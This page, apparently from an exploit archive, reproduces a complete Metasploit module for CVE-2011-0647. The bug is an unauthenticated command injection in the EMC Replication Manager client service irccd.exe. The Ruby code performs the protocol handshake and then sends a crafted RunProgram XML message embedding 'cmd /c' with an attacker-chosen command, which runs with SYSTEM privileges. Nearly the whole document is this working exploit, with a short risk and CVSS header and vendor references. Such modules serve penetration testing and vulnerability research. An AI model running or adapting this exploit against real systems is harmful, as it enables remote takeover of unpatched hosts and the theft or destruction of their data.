EMC Replication Manager Command Execution

2013.10.23
Credit: Davy Douhine
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'EMC Replication Manager Command Execution', 'Description' => %q{ This module exploits a remote command-injection vulnerability in EMC Replication Manager client (irccd.exe). By sending a specially crafted message invoking RunProgram function an attacker may be able to execute arbitrary code commands with SYSTEM privileges. Affected products are EMC Replication Manager < 5.3. This module has been successfully tested against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested against these products. }, 'Author' => [ 'Unknown', #Initial discovery 'Davy Douhine' #MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2011-0647' ], [ 'OSVDB', '70853' ], [ 'BID', '46235' ], [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-061/' ] ], 'DisclosureDate' => 'Feb 07 2011', 'Platform' => 'win', 'Arch' => ARCH_X86, 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'Targets' => [ # Tested on Windows XP and Windows 2003 [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'DefaultTarget' => 0, 'Privileged' => true )) register_options( [ Opt::RPORT(6542) ], self.class) end def exploit execute_cmdstager({:linemax => 5000}) end def execute_command(cmd, opts) connect hello = "1HELLOEMC00000000000000000000000" vprint_status("Sending hello...") sock.put(hello) result = sock.get_once || '' if result =~ /RAWHELLO/ vprint_good("Expected hello response") else disconnect fail_with(Failure::Unknown ,"Failed to hello the server") end start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>" vprint_status("Starting session...") sock.put(start_session) result = sock.get_once || '' if result =~ /EMC/ vprint_good("A session has been created. Good.") else disconnect fail_with(Failure::Unknown, "Failed to create the session") end run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> " run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>" run_prog << "<ir_runProgramAppInfo>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &lt;ir_message ir_sessionId=&quot;00000&quot; ir_requestId=&quot;00000&quot; " run_prog << "ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;IR_groupEntry IR_groupType=&quot;anywriter&quot; IR_groupName=&quot;CM1109A1&quot; IR_groupId=&quot;1&quot; " run_prog << "&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;? &amp;gt; &amp;lt;ir_message ir_sessionId=&amp;quot;00000&amp;quot; " run_prog << "ir_requestId=&amp;quot;00000&amp;quot;ir_type=&amp;quot;App Info&amp;quot; ir_status=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;aa_anywriter_ccr_node&amp;gt;CM1109A1" run_prog << "&amp;lt;/aa_anywriter_ccr_node&amp;gt;&amp;lt;aa_anywriter_fail_1018&amp;gt;0&amp;lt;/aa_anywriter_fail_1018&amp;gt;&amp;lt;aa_anywriter_fail_1019&amp;gt;0" run_prog << "&amp;lt;/aa_anywriter_fail_1019&amp;gt;&amp;lt;aa_anywriter_fail_1022&amp;gt;0&amp;lt;/aa_anywriter_fail_1022&amp;gt;&amp;lt;aa_anywriter_runeseutil&amp;gt;1" run_prog << "&amp;lt;/aa_anywriter_runeseutil&amp;gt;&amp;lt;aa_anywriter_ccr_role&amp;gt;2&amp;lt;/aa_anywriter_ccr_role&amp;gt;&amp;lt;aa_anywriter_prescript&amp;gt;" run_prog << "&amp;lt;/aa_anywriter_prescript&amp;gt;&amp;lt;aa_anywriter_postscript&amp;gt;&amp;lt;/aa_anywriter_postscript&amp;gt;&amp;lt;aa_anywriter_backuptype&amp;gt;1" run_prog << "&amp;lt;/aa_anywriter_backuptype&amp;gt;&amp;lt;aa_anywriter_fail_447&amp;gt;0&amp;lt;/aa_anywriter_fail_447&amp;gt;&amp;lt;aa_anywriter_fail_448&amp;gt;0" run_prog << "&amp;lt;/aa_anywriter_fail_448&amp;gt;&amp;lt;aa_exchange_ignore_all&amp;gt;0&amp;lt;/aa_exchange_ignore_all&amp;gt;&amp;lt;aa_anywriter_sthread_eseutil&amp;gt;0&amp" run_prog << ";lt;/aa_anywriter_sthread_eseutil&amp;gt;&amp;lt;aa_anywriter_required_logs&amp;gt;0&amp;lt;/aa_anywriter_required_logs&amp;gt;&amp;lt;aa_anywriter_required_logs_path" run_prog << "&amp;gt;&amp;lt;/aa_anywriter_required_logs_path&amp;gt;&amp;lt;aa_anywriter_throttle&amp;gt;1&amp;lt;/aa_anywriter_throttle&amp;gt;&amp;lt;aa_anywriter_throttle_ios&amp;gt;300" run_prog << "&amp;lt;/aa_anywriter_throttle_ios&amp;gt;&amp;lt;aa_anywriter_throttle_dur&amp;gt;1000&amp;lt;/aa_anywriter_throttle_dur&amp;gt;&amp;lt;aa_backup_username&amp;gt;" run_prog << "&amp;lt;/aa_backup_username&amp;gt;&amp;lt;aa_backup_password&amp;gt;&amp;lt;/aa_backup_password&amp;gt;&amp;lt;aa_exchange_checksince&amp;gt;1335208339" run_prog << "&amp;lt;/aa_exchange_checksince&amp;gt; &amp;lt;/ir_message&amp;gt;&lt;/IR_groupEntry&gt; &lt;/ir_message&gt;</ir_runProgramAppInfo>" run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>" run_prog_header = "EMC_Len000000" run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog vprint_status("Executing command....") sock.put(run_prog_packet) sock.get_once(-1, 1) end_string = Rex::Text.rand_text_alpha(rand(10)+32) sock.put(end_string) sock.get_once(-1, 1) disconnect end end

References:

http://www.zerodayinitiative.com/advisories/ZDI-11-061/


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